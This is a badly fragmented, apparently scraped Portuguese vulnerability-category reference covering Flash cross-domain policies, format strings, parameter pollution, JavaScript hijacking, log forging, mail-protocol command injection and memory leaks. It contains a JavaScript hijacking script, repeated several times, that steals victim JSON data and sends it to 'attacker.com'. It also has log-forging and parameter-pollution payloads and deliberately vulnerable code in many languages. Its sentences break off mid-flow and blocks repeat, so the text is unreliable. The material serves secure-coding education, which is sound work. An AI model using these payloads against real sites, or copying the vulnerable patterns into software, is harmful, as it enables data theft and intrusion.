crossdomain.xml
. No entanto, é necessário tomar precauções ao alterar as configurações, pois uma política entre domínios excessivamente permissiva permitirá que um aplicativo mal-intencionado se comunique com o aplicativo vítima de modo impróprio, resultando em falsificação, roubo de dados, retransmissão e outros ataques.
flash.system.Security.allowDomain("*");
*
como argumento para allowDomain()
indica que os dados do aplicativo estão acessíveis a outros aplicativos SWF de qualquer domínio.crossdomain.xml
. A partir do Flash Player 9.0.124.0, a Adobe também introduziu a capacidade de definir quais cabeçalhos personalizados o Flash Player pode enviar entre domínios. No entanto, é preciso ter cuidado ao definir essas configurações porque uma política de cabeçalhos personalizados excessivamente permissiva, quando aplicada junto com a política de vários domínios excessivamente permissiva, permitirá que um aplicativo mal-intencionado envie cabeçalhos de sua escolha para o aplicativo de destino, levando, possivelmente, a um variedade de ataques ou causando erros na execução do aplicativo que não saberá como tratar os cabeçalhos recebidos.
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
*
como o valor do atributo de headers
indica que qualquer cabeçalho será enviado entre domínios.crossdomain.xml
. No entanto, é necessário tomar precauções ao decidir quem pode influenciar as configurações, pois uma política entre domínios excessivamente permissiva permitirá que um aplicativo mal-intencionado se comunique com o aplicativo vítima de modo impróprio, resultando em falsificação, roubo de dados, retransmissão e outros ataques. Vulnerabilidades de desvio de restrições de política ocorrem quando:Exemplo 2: O código a seguir usa o valor de um dos parâmetros para o arquivo SWF carregado com o objetivo de definir a lista de domínios confiáveis.
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
crossdomain.xml
. No entanto, é necessário tomar precauções ao definir essas configurações, pois aplicativos SWF carregados via HTTP estão sujeitos a ataques do tipo MITM (man-in-the-middle) e, portanto, não devem ser confiáveis.allowInsecureDomain()
, que desativa a restrição que impede aplicativos SWF carregados via HTTP de acessar os dados de aplicativos SWF carregados via HTTPS.
flash.system.Security.allowInsecureDomain("*");
sprintf()
, FormatMessageW()
ou syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.) Ao usar a diretiva de formatação %n
, o invasor pode gravar na pilha, fazendo com que snprintf()
grave no argumento especificado o número de bytes cuja saída foi processada até o momento (em vez de ler um valor do argumento, que é o comportamento pretendido). Uma versão sofisticada desse ataque usará quatro gravações escalonadas para controlar completamente o valor de um apontador na pilha.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
por vezes utilizada da seguinte maneira:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf
é interpretada conforme descrito no Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
, ou NSString.stringWithFormat
como um argumento do formato StringNSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, do que a função utiliza como argumentos a serem formatados. (Neste exemplo, a função não usa argumentos a serem formatados.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
por vezes utilizada da seguinte maneira:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
é uma string de formato, qualquer diretiva de formatação incluída em cmdBuf
é interpretada conforme descrito no Example 1
.syslog()
:Exemplo 4: As classes principais da Apple proporcionam rotas interessantes para explorar as vulnerabilidades do formato String.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
por vezes utilizada da seguinte maneira:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, podem causar vulnerabilidades quando usadas incorretamente. A combinação entre manipulação de memória e suposições equivocadas sobre o tamanho ou a composição de um determinado dado é a causa raiz da maioria dos estouros de buffer.f
de um flutuante usando um especificador de formato %d
.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
como en&poll_id=1
e, em seguida, conseguisse alterar poll_id
à vontade.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
como en&poll_id=1
e, em seguida, fosse capaz de alterar poll_id
à vontade.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
, mas adicionou name=alice&
e, se isso estiver em uso em um servidor que obtém a primeira ocorrência, ele poderá representar alice
para obter mais informações sobre a conta dela.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script>
mal-intencionada (já que tags <script>
geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura usa o método POST para enviar solicitações, o que torna difícil gerar um pedido a partir de uma etiqueta maliciosa <script>
(uma vez que etiquetas <script>
só geram solicitações GET). No entanto, o GWT fornece mecanismos para a utilização de solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
returningObjectFlag
como true
na instãncia javax.naming.directory.SearchControls
passada para o método search
ou usando uma função de biblioteca que define este sinalizador em seu nome.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
deve ser reduzido imediatamente após a conclusão da operação.chroot()
, ele primeiro deverá adquirir o privilégio de root
. Assim que a operação privilegiada for concluída, o programa deverá reduzir o privilégio de root
e retornar ao nível de privilégio do usuário responsável pela invocação.chroot()
para restringir o aplicativo a um subconjunto do sistema de arquivos abaixo de APP_HOME
para impedir que um invasor utilize o programa para obter acesso não autorizado a arquivos localizados em outros lugares. Em seguida, o código abre um arquivo especificado pelo usuário e processa o conteúdo desse arquivo.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
com um valor diferente de zero significa que o aplicativo continua a operar com privilégios de root
desnecessários. Qualquer exploração bem-sucedida realizada por um invasor contra o aplicativo pode agora resultar em um ataque de escalonamento de privilégios, já que qualquer operação mal-intencionada será executada com os privilégios do superusuário. Se o aplicativo reduzir o nível de privilégio de um usuário não root
, o potencial de danos será substancialmente reduzido.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO
" para val
, a seguinte entrada será registrada:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
", a seguinte entrada será registrada:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one
" para val
, a seguinte entrada será registrada:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO
" para VAL
, a seguinte entrada será registrada:
VAL: FOO
FOO VAL: BAR
", a seguinte entrada será registrada:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one
" para val
, a seguinte entrada será registrada:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
", a seguinte entrada será registrada:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
à plataforma Android.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
" para logout
e ele puder criar um usuário com o nome "admin
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", a seguinte entrada será armazenada em log:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one
" para val
, a seguinte entrada será registrada:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
", a seguinte entrada será registrada:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one
" para val
, a seguinte entrada será registrada:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
", a seguinte entrada será registrada:
Failed to parse val=twenty-one
User logged out=badguy
CREATE
que é enviado ao servidor IMAP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
e PASS
que é enviado ao servidor POP3. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
que é enviado para o servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
que é enviado ao servidor SMTP. Um invasor pode usar esse parâmetro para modificar o comando enviado ao servidor e injetar novos comandos usando caracteres CRLF.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
read()
não consegue retornar o número esperado de bytes:
char* getBlock(int fd) {
char* buf = (char*) malloc(BLOCK_SIZE);
if (!buf) {
return NULL;
}
if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
return NULL;
}
return buf;
}
CALL "CBL_ALLOC_MEM"
USING mem-pointer
BY VALUE mem-size
BY VALUE flags
RETURNING status-code
END-CALL
IF status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
SET ADDRESS OF mem TO mem-pointer
END-IF
PERFORM write-data
IF ws-status-code NOT = 0
DISPLAY "Error!"
GOBACK
ELSE
DISPLAY "Success!"
END-IF
CALL "CBL_FREE_MEM"
USING BY VALUE mem-pointer
RETURNING status-code
END-CALL
GOBACK
.
dealloc()
.init()
mas falha em liberá-la no método deallocate()
resultando em um vazamento de memória:
- (void)init
{
myVar = [NSString alloc] init];
...
}
- (void)dealloc
{
[otherVar release];
}